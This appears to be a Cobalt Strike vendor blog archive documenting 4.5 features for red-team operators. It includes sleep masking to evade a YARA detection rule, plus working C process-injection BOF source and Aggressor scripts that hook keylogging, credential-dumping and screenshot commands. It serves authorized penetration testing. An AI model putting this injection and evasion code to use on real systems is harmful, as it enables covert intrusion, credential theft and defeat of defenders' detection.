Scripting Archives - Cobalt Strike Research and Development
fortra logo

User Defined Reflective Loader (UDRL) Update in Cobalt Strike 4.5

The User Defined Reflective Loader (UDRL) was first introduced in Cobalt Strike 4.4. to allow the creation and use of a custom reflective loader. This quickly took off by the community and its limits were pushed. Updates were made in 4.5 to help address some of these limits.

Updates

Increased Size

A new hook BEACON_DLL_SIZE was added to specify either 5k or 100k for your custom loader. This increase will be reflected in your payloads.

Artifact Kit

The artifact kit has been updated to allow customization of sizes to ensure space is available for your loader.

UDRL and Malleable C2 Profile Consideration

When using the default reflective loader and generating Beacons there are a few settings that affect Beacon’s runtime configuration and the loader, which are automatically handled when the payload is generated. This ability allows an operator to change these settings in the profile which will modify how the payload is generated and how it looks like in memory. 

When using a UDRL these settings are inserted into the Beacon’s runtime configuration. However, because the reflective loader is defined by the user it is not possible to modify the reflective loader as it does in the default case. It is on the user to modify their reflective loader accordingly. 

For example, if you are using the example loader from the URDL kit, there is no code in the loader to do any conditional setup based on information stored in the header of the image. This could cause runtime issues with Beacon that you are not expecting because of the settings in your Malleable C2 profile. You will have to deal with the same type of issues when writing your own reflective loader from scratch.

Settings to be Considered

The following are settings to consider when the malleable C2 profile option stage.sleepmask is set to TRUE:

stage.userwx 

This setting is a Boolean and informs the default loader to either use RWX or RX memory. At runtime Beacon will either include or not include the .text section for masking. If the setting is set to TRUE, your user defined loader needs to set the protection on the .text section as RWX otherwise Beacon will crash. If the setting is set to FALSE, your user defined loader should set the protection on the .text section as RX as the .text section will not be masked. 

stage.obfuscate 

This setting is a Boolean and informs the default loader to either copy the header or not copy the header into memory. At runtime Beacon will either include or not include the header section for masking. If the setting is set to TRUE, your UDRL should not copy the header into memory as Beacon will not mask the header section. If the setting is set to FALSE, your user defined loader should copy the header into memory as Beacon will mask the header section. 

Depending on how sophisticated your reflective loader is you will need to make sure the settings in the Malleable C2 profile will work with how the Beacon payload is loaded into memory. With the BEACON_RDLL_GENERATE and BEACON_RDLL_GENERATE_LOCAL aggressor script hooks you do have the opportunity to modify your reflective loader by using the aggressor script pe_* functions. 

Handling a UDRL over 5k

The following is an example error that indicates your loader is over 5k. You can use the BEACON_DLL_SIZE hook to increase this space to 100k.

Loader is over 5k

Artifact Kit Considerations

If you are using an artifact kit based on the kit provided by Cobalt Strike, but is using the default ‘stagesize‘ values, this error is logged indicating the larger patched Beacon will not fit in the standard artifacts generated for the kit. You will need to rebuild the artifact kit with larger ‘stagesize‘ environment variable definitions.

Artifact kit hook error when the stagesize value is too low

References

Sleep Mask Update in Cobalt Strike 4.5

The Sleep Mask Kit was first introduced in Cobalt Strike 4.4 to allow users to modify how the sleep mask function looks in memory in order to defeat static signatures that identified Beacon. This quickly took off in the community and its limits were pushed. Updates were made in 4.5 to help address some of these limits.

Licensed users can download the updated kit from https://www.cobaltstrike.com/scripts

What’s New?

Increased size 

The size of the sleep mask executable code has been increased to 769 bytes from 289 bytes. 

Heap Memory 

A list of heap memory addresses has been added to the input to the sleep mask function. This allows for the ability to mask and unmask Beacon’s heap memory, which could be used to identify Beacon.

Compatibility

Any sleep mask modifications for Cobalt Strike 4.4 will not be compatible with 4.5 because of the changes to the functions input. This also means the sleep mask modifications are also not backwards compatible.  Users will need to have separate sleep mask versions for 4.4 and 4.5. An updated sleep mask kit is available through the Cobalt Strike UI Help -> Arsenal page. 

Changes 

  • Added a new HEAP_RECORDS data structure 
  • Added a pointer to the HEAP_RECORDS data structure to the existing SLEEPMASKP structure 
  • Added new loops to mask and unmask the heap memory identified by the HEAP_RECORDS structure. 

Limitations

These are the current limitations to the sleep mask kit for Cobalt Strike 4.5:

  • The executable code size cannot exceed 769 bytes. If this occurs the default sleep mask function will be used. 
  • Only one function can be defined in the source code file. 
  • Use of external functions are not supported 

Example

For this example, the Sleep Mask Kit for Cobalt Strike version 4.5 with a modification to the code to only mask and unmask when the sleep is larger than two seconds will be used. This allows for the ability to control the masking and unmasking of Beacon based on the current sleep time.  

Generate a Beacon using the modified sleep mask and deploy it on your target system. The Beacon is now running and has a PID value of 5400 for this example. 

Using a Yara rule based on the BeaconEye project, beacon will be detected. The rule shows the memory address that triggered the detection as the current sleep time is set 1 second.

Detected at 0x7c7290

Using Process Hacker, open the process (5400) and look at the contents of memory at the found location of 0x7c7290. This is determined by finding the base address 0x7b0000 and subtracting from 0x7c7290 to determine the offset within this block of heap memory.

Beacon’s configuration unmasked

The highlighted portion shows the signature that was used to identify Beacon, which represents Beacon’s configuration in the heap memory. 

With the Cobalt Strike version 4.5 sleep mask this location in memory is provided as one of heap memory addresses in the HEAP_RECORDS list. Now, update the sleep time for this beacon to three seconds so it will mask itself while sleeping and then inspect this memory location again. 

Beacon’s Configuration masked

Comparing this to the previous screenshot shows the heap memory is now masked. Running the Yara rule again shows that it does not detect the signature for Beacon’s configuration.

This is just one simple example of using the sleep mask to obfuscate Beacon in memory.

Enjoy!

References

A Deeper Look Into the Max Retry Strategy Option

A complementary strategy to the Host Rotation Strategy was introduced to Cobalt Strike 4.5. The max retry strategy was added to HTTP, HTTPS, and DNS beacon listeners. A max retry strategy allows a beacon to exit after a specified failure count. As the failure count increases, sleep is adjusted to a specified value. By default, sleep is adjusted at 50% of the failure count.

A max retry can be selected from a list via the create listener GUI:

max retry option set as a listener option

The list can be updated with custom values using the aggressor hook LISTENER_MAX_RETRY_STRATEGIES.

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_hooks.htm#LISTENER_MAX_RETRY_STRATEGIES

The values in aggressor allow combination of options to be set vs. selecting from the default list.

# Use a hard coded list of strategies
set LISTENER_MAX_RETRY_STRATEGIES {
    local('$out');
    $out .= "exit-18-12-5m\n";
    $out .= "exit-22-14-5m\n";
    return $out;
}
 
# Use loops to build a list of strategies
set LISTENER_MAX_RETRY_STRATEGIES {
    local('$out');
 
    @attempts = @(50, 100);
    @durations = @("5m", "15m");
    $increase = 25;
 
    foreach $attempt (@attempts)
    {
        foreach $duration (@durations)
        {
            $out .= "exit $+ - $+ $attempt $+ - $+ $increase $+ - $+ $duration\n";
        }
    }
 
    return $out;
}

Understanding the Max Retry Syntax

Max Retry Strategy Syntax

The syntax is broken into four sections separated by a dash:

ColumnDescription
1exit
2Exit beacon after this number of failures
3Number of failures to begin adjust sleep
4Sleep time to set when sleep failures are met. Note: The jitter is kept to the current setting.

Using Aggressor to Create a Listener

If you use aggressor to create listeners, you can set the max retry using the max_retry option. This can be set to your custom max retry strategy without the need to be pre-defined.

Below is an example of the listener_create_ext function used to create a listener.

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#listener_create_ext

# create an HTTP Beacon listener
listener_create_ext("HTTP", "windows/beacon_http/reverse_http",
      %(host => "stage.host",
      profile => "default",
      port => 80,
      beacons => "b1.host,b2.host",
      althost => "alt.host",
      bindto => 8080,
      strategy => "failover-5x",
      max_retry => "exit-10-5-5m",
      proxy => "proxy.host"));

TIP: Running Cobalt Strike Teamserver as a Service

These scripts can be used as a template to set up teamserver as a service and to auto-start listeners.

https://github.com/vestjoe/cobaltstrike_services

Process Injection Update in Cobalt Strike 4.5

Process injection is a core component to Cobalt Strike post exploitation. Until now, the option was to use a built-in injection technique using fork&run. This has been great for stability, but does come at the cost of OPSEC.

Cobalt Strike 4.5 now supports two new Aggressor Script hooks: PROCESS_INJECT_SPAWN and PROCESS_INJECT_EXPLICIT.  These hooks allow a user to define how the fork&run and explicit injection techniques are implemented when executing post-exploitation commands instead of using the built-in techniques. 

The implementation of these techniques is through a Beacon Object File (BOF) and an Aggressor Script function.  In the next sections a simple example will be provided followed by an example from the Community Kit for each hook. 

These two hooks will cover most of the post exploitation commands, which will be listed in each section.  However, here are some exceptions which will not use these hooks. 

Beacon Command Aggressor Script function 
 &bdllspawn  
execute-assembly &bexecute_assembly 
shell&bshell
Exceptions to the 4.5 process injection updates

Process Injection Spawn (Fork & Run)

The PROCESS_INJECT_SPAWN hook is used to define the fork&run process injection technique.  The following Beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique. 

Additional information for a few commands: 

  1. The elevaterunasadmin, &belevate, &brunasadmin and [beacon] -> Access -> Elevate commands will only use the PROCESS_INJECT_SPAWN hook when the specified exploit uses one of the listed aggressor script functions in the table, for example &bpowerpick
  1. For the net and &bnet command the ‘domain’ command will not use the hook. 
  1. The “(use a hash)” note means select a credential that references a hash. 
Beacon Command Aggressor Script function UI Interface 
chromedump   
dcsync &bdcsync  
elevate &belevate [beacon] -> Access -> Elevate 
  [beacon] -> Access -> Golden Ticket 
hashdump &bhashdump [beacon] -> Access -> Dump Hashes 
keylogger &bkeylogger  
logonpasswords &blogonpasswords [beacon] -> Access -> Run Mimikatz 
  [beacon] -> Access -> Make Token (use a hash) 
mimikatz &bmimikatz   
 &bmimikatz_small  
net &bnet [beacon] -> Explore -> Net View 
portscan &bportscan [beacon] -> Explore -> Port Scan 
powerpick &bpowerpick   
printscreen &bprintscreen  
pth &bpassthehash   
runasadmin &brunasadmin  
  [target] -> Scan 
screenshot &bscreenshot [beacon] -> Explore -> Screenshot 
screenwatch &bscreenwatch  
ssh &bssh [target] -> Jump -> ssh 
ssh-key &bssh_key [target] -> Jump -> ssh-key 
  [target] -> Jump -> [exploit] (use a hash) 
Commands that support the PROCESS_INJECT_SPAWN hook in 4.5

Arguments 

The PROCESS_INJECT_SPAWN hook accepts the following arguments 

  • $1 Beacon ID 
  • $2 memory injectable DLL (position-independent code) 
  • $3 true/false ignore process token 
  • $4 x86/x64 – memory injectable DLL architecture 

Returns 

The PROCESS_INJECT_SPAWN hook should return one of the following values: 

  • $null or empty string to use the built-in technique. 
  • 1 or any non-empty value to use your own fork&run injection technique. 

I Want to Use My Own spawn (fork & run) Injection Technique.

To implement your own fork&run injection technique you will be required to supply a BOF containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the PROCESS_INJECT_SPAWN hook function. 

Simple Example 

The following example implements the PROCESS_INJECT_SPAWN hook to bypass the built-in default.  First, we will create a BOF with our fork&run implementation. 

File: inject_spawn.c

#include <windows.h>
#include "beacon.h"

/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
   return TRUE;
#elif defined _M_IX86
   return FALSE;
#endif
}

/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
   STARTUPINFOA        si;
   PROCESS_INFORMATION pi;
   datap               parser;
   short               ignoreToken;
   char *              dllPtr;
   int                 dllLen;

   /* Warn about crossing to another architecture. */
   if (!is_x64() && x86 == FALSE) {
      BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x86 -> x64");
   }
   if (is_x64() && x86 == TRUE) {
      BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x64 -> x86");
   }

   /* Extract the arguments */
   BeaconDataParse(&parser, args, alen);
   ignoreToken = BeaconDataShort(&parser);
   dllPtr = BeaconDataExtract(&parser, &dllLen);

   /* zero out these data structures */
   __stosb((void *)&si, 0, sizeof(STARTUPINFO));
   __stosb((void *)&pi, 0, sizeof(PROCESS_INFORMATION));

   /* setup the other values in our startup info structure */
   si.dwFlags = STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.cb = sizeof(STARTUPINFO);

   /* Ready to go: spawn, inject and cleanup */
   if (!BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) {
      BeaconPrintf(CALLBACK_ERROR, "Unable to spawn %s temporary process.", x86 ? "x86" : "x64");
      return;
   }
   BeaconInjectTemporaryProcess(&pi, dllPtr, dllLen, 0, NULL, 0);
   BeaconCleanupProcess(&pi);
}

void gox86(char * args, int alen) {
   go(args, alen, TRUE);
}

void gox64(char * args, int alen) {
   go(args, alen, FALSE);
}


Explanation

  • Line 14 starts the code for the go function. This function is called via the gox86 or gox64 functions which are defined at line 53-59.  This function style is an easy way to pass the x86 boolean flag into the go function. 
  • Lines 15-20 define the variables that are referenced in the function. 
  • Lines 22-28 will check to see if runtime environment matches the x86 flag and print a warning message back to the beacon console and continue. 
  • Lines 30-33 will extract the two arguments ignoreToken and dll from the args parameter. 
  • Lines 35-42 initializes the STARTUPINFO and PARAMETER_INFO variables. 
  • Lines 44-50 implements the fork&run technique using Beacon’s internal APIs defined in beacon.h.  This is essentially the same built-in technique of spawning a temporary process, injecting the dll into the process and cleaning up. 

Compile

Next, compile the source code to generate the .o files using the mingw compiler on Linux. 

x86_64-w64-mingw32-gcc -o inject_spawn.x64.o -c inject_spawn.c 

i686-w64-mingw32-gcc -o inject_spawn.x86.o -c inject_spawn.c 

Create Aggressor Script

File: inject_spawn.cna

# Hook to allow the user to define how the fork and run process injection
# technique is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll (position-independent code)
# $3 = true/false ignore process token
# $4 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_SPAWN {
   local('$barch $handle $data $args $entry');

   # Set the architecture for the beacon's session
   $barch = barch($1);

   # read in the injection BOF based on barch
   warn("read the BOF: inject_spawn. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_spawn. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);

   # pack our arguments needed for the BOF
   $args = bof_pack($1, "sb", $3, $2);

   btask($1, "Process Inject using fork and run.");

   # Set the entry point based on the dll's arch
   $entry = "go $+ $4";
   beacon_inline_execute($1, $data, $entry, $args);

   # Let the caller know the hook was implemented.
   return 1;
}

Explanation

  • Lines 1-6 is the header information about the function and arguments. 
  • Lines 7 starts the function definition for the PROCESS_INJECT_SPAWN function. 
  • Line 8 defines the variables used in the function. 
  • Line 10-11 sets the architecture for the beacon’s session. 
  • Lines 14-17 reads the inject_spawn.<arch>.o BOF which matches the beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the beacon’s architecture. 
  • Lines 19-20 packs the arguments that the BOF is expecting.  In this example we are passing $3 (ignore process token) as a short and $2 (dll) as binary data. 
  • Lines 22 reports the task to Beacon. 
  • Line 25 sets up which function name to call in the BOF which is either gox86 or gox64 which is based on the dll’s architecture.  Note the beacon’s architecture and dll’s architecture do not have to match.  For example, if your Beacon is running in an x86 context on an x64 OS then some post exploitation jobs such as mimikatz will use the x64 version of the mimikatz dll. 
  • Line 26 uses the beacon_inline_execute function to execute the BOF. 
  • Line 29 returns 1 to indicate the PROCESS_INJECT_SPAWN function was implemented. 

Load the Aggressor Script and Begin Using the updated HOOK

Next, load the inject_spawn.cna Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the screenshot Command

After loading the script, a command like screenshot will use the new hook.

screenshot command using the PROCESS_INJECT_SPAWN hook
Output in the script console when reading the BOF

PROCESS_INJECT_SPAWN

Example from the Community Kit

Now that we have gone through the simple example to get some understanding of how the PROCESS_INJECT_SPAWN hook works let’s try something from the Community Kit. The example which will be used is from the BOFs project https://github.com/ajpc500/BOFs.  For the fork&run implementation use the example under the StaticSyscallsAPCSpawn folder. This uses the spawn with syscalls shellcode injection (NtMapViewOfSection -> NtQueueApcThread) technique.

Steps: 

  1. Clone or download the source for the BOF project. 
  2. Change directory into the StaticSyscallsAPCSpawn directory 
  3. Review the code within the directory to understand what is being done. 
  4. Compile the object file with the following command. (Optionally use make) 
x86_64-w64-mingw32-gcc -o syscallsapcspawn.x64.o -c entry.c -masm=intel 

When using projects from the Community Kit it is good practice to review the code and recompile the source even if object or binary files are provided.

Items to note in the entry.c file that are different than the simple example. 

  1. For this BOF notice that the entry point is ‘go’, which is different than ‘gox86’ or ‘gox64’. 
  2. The argument that this BOF expects is the dll.  The ignoreToken is not used. 
  3. Calls a function named SpawnProcess, which will use the Beacon API function BeaconSpawnTemporaryProcess.  In this case the x86 parameter is hard coded to FALSE and the ignoreToken is hard coded to TRUE. 
  4. Calls a function named InjectShellcode, which implements their injection technique instead of using the function BeaconInjectTemporaryProcess. 
  5. Finally call the Beacon API function BeaconCleanupProcess. 

Now that we understand the differences between the simple example and this project’s code, we can modify the PROCESS_INJECT_SPAWN function from the simple example to work with this project.  Here is the modified PROCESS_INJECT_SPAWN function which can be put into a new file or add it to the existing static_syscalls_apc_spawn.cna file. 

File: static_syscalls_apc_spawn.cna 

    # Hook to allow the user to define how the fork and run process injection 
    # technique is implemented when executing post exploitation commands. 
    # $1 = Beacon ID 
    # $2 = memory injectable dll (position-independent code) 
    # $3 = true/false ignore process token 
    # $4 = x86/x64 - memory injectable DLL arch 
    set PROCESS_INJECT_SPAWN { 
    
    local('$barch, $handle $data $args'); 
    
        # figure out the arch of this session 
        $barch  = barch($1); 
        
        if ($barch eq "x86") { 
            warn("Syscalls Spawn and Shellcode APC Injection BOF (@ajpc500) does not support x86. Use built in default"); 
            return $null; 
        } 
        
        # read in the right BOF 
        warn("read the BOF: syscallsapcspawn. $+ $barch $+ .o"); 
        $handle = openf(script_resource("syscallsapcspawn. $+ $barch $+ .o")); 
        $data = readb($handle, -1); 
        closef($handle); 
        
        # pack our arguments needed for the BOF 
        $args = bof_pack($1, "b", $2); 
        
        btask($1, "Syscalls Spawn and Shellcode APC Injection BOF (@ajpc500)"); 
        
        beacon_inline_execute($1, $data, "go", $args); 
        
        # Let the caller know the hook was implemented. 
        return 1; 
    } 

Explanation

  • Lines 1-6 is the header information about the function and arguments. 
  • Lines 7 starts the function definition for the PROCESS_INJECT_SPAWN function. 
  • Line 9 defines the variables used in the function. In this example we do not need the $entry variable as the entry point will just be “go” 
  • Line 12 will set the $barch to the beacon’s architecture. 
  • Line 14-17 is added in this example because this project is only supporting x64 architecture injection.  When an x86 architecture is detected then return $null to use the built-in technique. 
  • Line 19-23 will read the syscallsapcspawn.<arch>.o BOF which matches the beacon’s session architecture.  This is required because Beacon_inline_execute function requires the BOF architecture to match the beacon’s architecture. 
  • Lines 25-26 packs the arguments that the BOF is expecting.  In this example we are passing $2 (dll) as a binary data.  Recall the ignore Token flag was hard coded to TRUE. 
  • Line 28 uses the beacon_inline_execute function to execute the BOF.  In this case just call “go” since the requirement of knowing if it is x86 or x64 is not needed as the x86 flag is hard coded to FALSE. 
  • Line 33 returns 1 to indicate the PROCESS_INJECT_SPAWN function was implemented. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the keylogger Command

After loading the script, a command like keylogger will use the new hook.

keylogger command using the PROCESS_INJECT_SPAWN hook
Output in the script console when reading the BOF

Explicit Process Injection (Put Down That Fork)

The PROCESS_INJECT_EXPLICIT hook is used to define the explicit process injection technique.  The following Beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique. 

Additional information for a few commands: 

  1. The [Process Browser] interface is accessed by [beacon] -> Explore -> Process List.  There is also a multi version of this interface which is accessed by selecting multiple beacon sessions and using the same UI menu.  When in the Process Browser use the buttons to perform additional commands on the selected process. 
  1. The chromedumpdcsynchashdumpkeyloggerlogonpasswordsmimikatznetportscanprintscreenpthscreenshotscreenwatchssh, and ssh-key commands also have a fork&run version.  To use the explicit version requires the pid and architecture arguments. 
  1. For the net and &bnet command the ‘domain’ command will not use the hook. 
Beacon Command Aggressor Script function  UI Interface 
browserpivot &bbrowserpivot [beacon] -> Explore -> Browser Pivot 
chromedump   
dcsync &bdcsync  
dllinject &bdllinject  
hashdump &bhashdump  
inject &binject [Process Browser] -> Inject 
keylogger &bkeylogger [Process Browser] -> Log Keystrokes 
logonpasswords &blogonpasswords  
mimikatz &bmimikatz  
 &bmimikatz_small  
net &bnet  
portscan &bportscan  
printscreen   
psinject &bpsinject  
pth &bpassthehash  
screenshot  [Process Browser] -> Screenshot (Yes) 
screenwatch  [Process Browser] -> Screenshot (No) 
shinject &bshinject  
ssh &bssh  
ssh-key &bssh_key  
Commands that support the PROCESS_INJECT_EXPLICIT hook in 4.5

Arguments 

The PROCESS_INJECT_EXPLICIT hook accepts the following arguments 

  • $1 Beacon ID 
  • $2 memory injectable DLL (position-independent code) 
  • $3 = the PID to inject into 
  • $4 = offset to jump to 
  • $5 = x86/x64 – memory injectable DLL arch 

Returns 

The PROCESS_INJECT_EXPLICIT hook should return one of the following values: 

  • $null or empty string to use the built-in technique. 
  • 1 or any non-empty value to use your own explicit injection technique. 

I Want to Use My Own Explicit Injection Technique.

To implement your own explicit injection technique, you will be required to supply a BOF containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the PROCESS_INJECT_EXPLICIT hook function. 

Simple Example 

The following example implements the PROCESS_INJECT_EXPLICIT hook to bypass the built-in default.  First, we will create a BOF with our explicit injection implementation. 

File: inject_explicit.c

#include <windows.h>
#include "beacon.h"

/* Windows API calls */
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$IsWow64Process (HANDLE hProcess, PBOOL Wow64Process);
DECLSPEC_IMPORT WINBASEAPI HANDLE  WINAPI KERNEL32$GetCurrentProcess (VOID);
DECLSPEC_IMPORT WINBASEAPI HANDLE  WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
DECLSPEC_IMPORT WINBASEAPI DWORD   WINAPI KERNEL32$GetLastError (VOID);
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);

/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
   return TRUE;
#elif defined _M_IX86
   return FALSE;
#endif
}

/* is this a 64-bit or 32-bit process? */
BOOL is_wow64(HANDLE process) {
   BOOL bIsWow64 = FALSE;

   if (!KERNEL32$IsWow64Process(process, &bIsWow64)) {
      return FALSE;
   }
   return bIsWow64;
}

/* check if a process is x64 or not */
BOOL is_x64_process(HANDLE process) {
   if (is_x64() || is_wow64(KERNEL32$GetCurrentProcess())) {
      return !is_wow64(process);
   }

   return FALSE;
}

/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
   HANDLE              hProcess;
   datap               parser;
   int                 pid;
   int                 offset;
   char *              dllPtr;
   int                 dllLen;

   /* Extract the arguments */
   BeaconDataParse(&parser, args, alen);
   pid = BeaconDataInt(&parser);
   offset = BeaconDataInt(&parser);
   dllPtr = BeaconDataExtract(&parser, &dllLen);

   /* Open a handle to the process, for injection. */
   hProcess = KERNEL32$OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);
   if (hProcess == INVALID_HANDLE_VALUE || hProcess == 0) {
      BeaconPrintf(CALLBACK_ERROR, "Unable to open process %d : %d", pid, KERNEL32$GetLastError());
      return;
   }

   /* Check that we can inject the content into the process. */
   if (!is_x64_process(hProcess) && x86 == FALSE ) {
      BeaconPrintf(CALLBACK_ERROR, "%d is an x86 process (can't inject x64 content)", pid);
      return;
   }
   if (is_x64_process(hProcess) && x86 == TRUE) {
      BeaconPrintf(CALLBACK_ERROR, "%d is an x64 process (can't inject x86 content)", pid);
      return;
   }

   /* inject into the process */
   BeaconInjectProcess(hProcess, pid, dllPtr, dllLen, offset, NULL, 0);

   /* Clean up */
   KERNEL32$CloseHandle(hProcess);
}

void gox86(char * args, int alen) {
   go(args, alen, TRUE);
}

void gox64(char * args, int alen) {
   go(args, alen, FALSE);
}

Explanation

  • Lines 1-2 are the include files, where beacon.h can be downloaded from https://github.com/Cobalt-Strike/bof_template
  • Lines 4-9 define the prototypes for the Dynamic Function Resolution for a BOF. 
  • Lines 11-18 define a function to determine the compiled architecture type. 
  • Lines 20-37 define functions to determine the architecture of the process to inject into. 
  • Line 40 starts the code for the go function. This function is called via the gox86 or gox64 functions which are defined at line 78-84.  This function style is an easy way to pass the x86 boolean flag into the go function. 
  • Lines 41-46 define the variables that are referenced in the function. 
  • Lines 48-52 will extract the three arguments pid, offset and dll from the args parameter. 
  • Lines 55-59 will open the process for the specified pid. 
  • Lines 61-69 will verify if the content can be injected into the process. 
  • Line 72 implements the explicit injection technique using Beacon’s internal APIs defined in beacon.h.  This is the same built-in technique for injecting into a process. 
  • Lines 75 will close the handle to the process. 

Compile

Next, compile the source code to generate the .o files using the mingw compiler on Linux. 

x86_64-w64-mingw32-gcc -o inject_explicit.x64.o -c inject_explicit.c 

i686-w64-mingw32-gcc -o inject_explicit.x86.o -c inject_explicit.c 

Create Aggressor Script

Next, create the Aggressor Script PROCESS_INJECT_EXPLICIT hook function. 

File: inject_explicit.cna

# Hook to allow the user to define how the explicit injection technique
# is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll for the post exploitation command
# $3 = the PID to inject into
# $4 = offset to jump to
# $5 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_EXPLICIT {
   local('$barch $handle $data $args $entry');

   # Set the architecture for the beacon's session
   $barch = barch($1);

   # read in the injection BOF based on barch
   warn("read the BOF: inject_explicit. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_explicit. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);

   # pack our arguments needed for the BOF
   $args = bof_pack($1, "iib", $3, $4, $2);

   btask($1, "Process Inject using explicit injection into pid $3");

   # Set the entry point based on the dll's arch
   $entry = "go $+ $5";
   beacon_inline_execute($1, $data, $entry, $args);

   # Let the caller know the hook was implemented.
   return 1;
}

Explanation

  • Lines 1-7 contains the header information about the function and arguments. 
  • Lines 8 starts the function definition for the PROCESS_INJECT_EXPLICIT function. 
  • Line 9 defines the variables used in the function. 
  • Line 12 sets the architecture for the Beacon’s session. 
  • Lines 15-18 reads the inject_explicit.<arch>.o BOF which matches the Beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the Beacon’s architecture. 
  • Line 21 packs the arguments that the BOF is expecting.  In this example we are passing $3 (pid) as an integer, $4 (offset) as an integer, and $2 (dll) as binary data. 
  • Lines 23 reports the task to Beacon. 
  • Line 26 sets up which function name to call in the BOF which is either gox86 or gox64 which is based on the dll’s architecture.  Note the Beacon’s architecture and dll’s architecture do not have to match. 
  • Line 27 uses the beacon_inline_execute function to execute the BOF. 
  • Line 30 returns 1 to indicate the PROCESS_INJECT_EXPLICIT function was implemented. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the inject_explicit.cna Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the screenshot Command

After loading the script, a command like screenshot will use the new hook.

screenshot command using the PROCESS_INJECT_EXPLICIT hook
Output in the script console when reading the BOF

PROCESS_INJECT_EXPLICIT

Example from the Community Kit

Now that we have gone through the simple example to get some understanding of how the PROCESS_INJECT_EXPLICIT hook works let’s try something from the Community Kit. The example which will be used is from the BOFs project https://github.com/ajpc500/BOFs.  For the explicit injection implementation we will select a different technique from this repository. Use the example under the StaticSyscallsInject folder. 

Steps: 

  1. Clone or download the source for the BOF project. 
  2. Change directory into the StaticSyscallsInject directory 
  3. Review the code within the directory to understand what is being done. 
  4. Compile the object file with the following command. (Optionally use make) 
x86_64-w64-mingw32-gcc -o syscallsinject.x64.o -c entry.c -masm=intel 

When using projects from the Community Kit it is good practice to review the code and recompile the source even if object or binary files are provided

Items to note in the entry.c file that are different than the simple example. 

  1. For this BOF notice that the entry point is ‘go’, which is different than ‘gox86’ or ‘gox64’. 
  2. The arguments that this BOF expects are the pid and dll.  The offset is not used. 
  3. Calls a function named InjectShellcode, which implements their injection technique instead. 
  4. Opens the Process 
  5. Allocates Memory and Copies it to the Process 
  6. Create the thread and wait for completion 
  7. Cleanup 

Now that we understand the differences between the simple example and this project’s code, we can modify the PROCESS_INJECT_EXPLICIT function from the simple example to work with this project.  Here is the modified PROCESS_INJECT_EXPLICIT function which can be put into a new file or add it to the existing static_syscalls_inject.cna file. 

File: static_syscalls_inject.cna

# Hook to allow the user to define how the explicit injection technique 
# is implemented when executing post exploitation commands. 
# $1 = Beacon ID 
# $2 = memory injectable dll for the post exploitation command 
# $3 = the PID to inject into 
# $4 = offset to jump to 
# $5 = x86/x64 - memory injectable DLL arch 
set PROCESS_INJECT_EXPLICIT { 
local('$barch $handle $data $args'); 

# Set the architecture for the beacon's session 
$barch = barch($1); 

if ($barch eq "x86") { 
    warn("Static Syscalls Shellcode Injection BOF (@ajpc500) does not support x86. Use built in default"); 
    return $null; 
} 

if ($4 > 0) { 
    warn("Static Syscalls Shellcode Injection BOF (@ajpc500) does not support offset argument. Use built in default"); 
    return $null; 
} 

# read in the injection BOF based on barch 
warn("read the BOF: syscallsinject. $+ $barch $+ .o"); 
$handle = openf(script_resource("syscallsinject. $+ $barch $+ .o")); 
$data = readb($handle, -1); 
closef($handle); 

# pack our arguments needed for the BOF 
$args = bof_pack($1, "ib", $3, $2); 

btask($1, "Static Syscalls Shellcode Injection BOF (@ajpc500) into pid $3"); 

beacon_inline_execute($1, $data, "go", $args); 

# Let the caller know the hook was implemented. 
return 1; 
} 

Explanation

  • Lines 1-7 contains the header information about the function and arguments. 
  • Lines 8 starts the function definition for the PROCESS_INJECT_EXPLICIT function. 
  • Line 9 defines the variables used in the function. 
  • Line 12 sets the architecture for the Beacon’s session. 
  • Line 14-17 is added in this example because this project is only supporting x64 architecture injection.  When an x86 architecture is detected then return $null to use the built-in technique. 
  • Line 19-22 is added in this example because this project is not supporting the offset to jump to argument.  When this is detected then return $null to use the built-in technique. 
  • Lines 25-28 reads the syscallsinject.<arch>.o BOF which matches the Beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the Beacon’s architecture. 
